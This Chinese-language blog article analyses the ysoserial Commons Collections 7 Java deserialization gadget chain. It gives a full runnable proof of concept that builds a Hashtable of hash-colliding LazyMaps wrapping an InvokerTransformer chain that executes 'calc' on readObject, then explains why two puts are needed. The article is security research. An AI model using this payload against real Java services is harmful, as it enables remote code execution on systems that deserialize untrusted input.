社区首页 >专栏 >Java安全之Commons Collections7分析

Java安全之Commons Collections7分析

全栈程序员站长

发布于 2021-04-07 03:40:21

79200

代码可运行

文章被收录于专栏：全栈程序员必看全栈程序员必看

运行总次数：0

代码可运行

Java安全之Commons Collections7分析

0x00 前言

本文讲解的该链是原生ysoserial中的最后一条CC链，但是实际上并不是的。在后来随着后面各位大佬们挖掘利用链，CC8，9，10的链诞生，也被内置到ysoserial里面。在该链中其实和CC6也是类似,但是CC7利用链中是使用Hashtable作为反序列化的入口点。

0x01 POC分析

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


            // Reusing transformer chain and LazyMap gadgets from previous payloads
            final String[] execArgs = new String[]{"calc"};

            final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            execArgs),
                    new ConstantTransformer(1)};

            Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);

            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);

            // Use the colliding Maps as keys in Hashtable
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

            // Needed to ensure hash collision after previous manipulations
            lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
        objectInputStream.readObject();
//            return hashtable;
        }
    }

这里依旧是提取重要代码出来去做了一个简化。

抛去和前面重复的部分，下面分为三段代码去进行分析。

			Map innerMap1 = new HashMap();
            Map innerMap2 = new HashMap();

            // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
            Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
            lazyMap1.put("yy", 1);

            Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
            lazyMap2.put("zZ", 1);
			Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 2);

在这段代码中，实例化了两个 HashMap，并对两个 HashMap使用了LazyMap将transformerChain和 HashMap

绑定到一起。然后分别添加到 Hashtable中，但是前面看到的都是使用一次，为什么这里需要重复2次重复的操作呢？

下面来分析一下。

Hashtable的reconstitutionPut方法是被遍历调用的，

第一次调用的时候，并不会走入到reconstitutionPut方法for循环里面，因为tab[index]的内容是空的，在下面会对tab[index]进行赋值。在第二次调用reconstitutionPut时，tab中才有内容，我们才有机会进入到这个for循环中，从而调用equals方法。这也是为什么要调用两次put的原因。

 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);
		lazyMap2.remove("yy");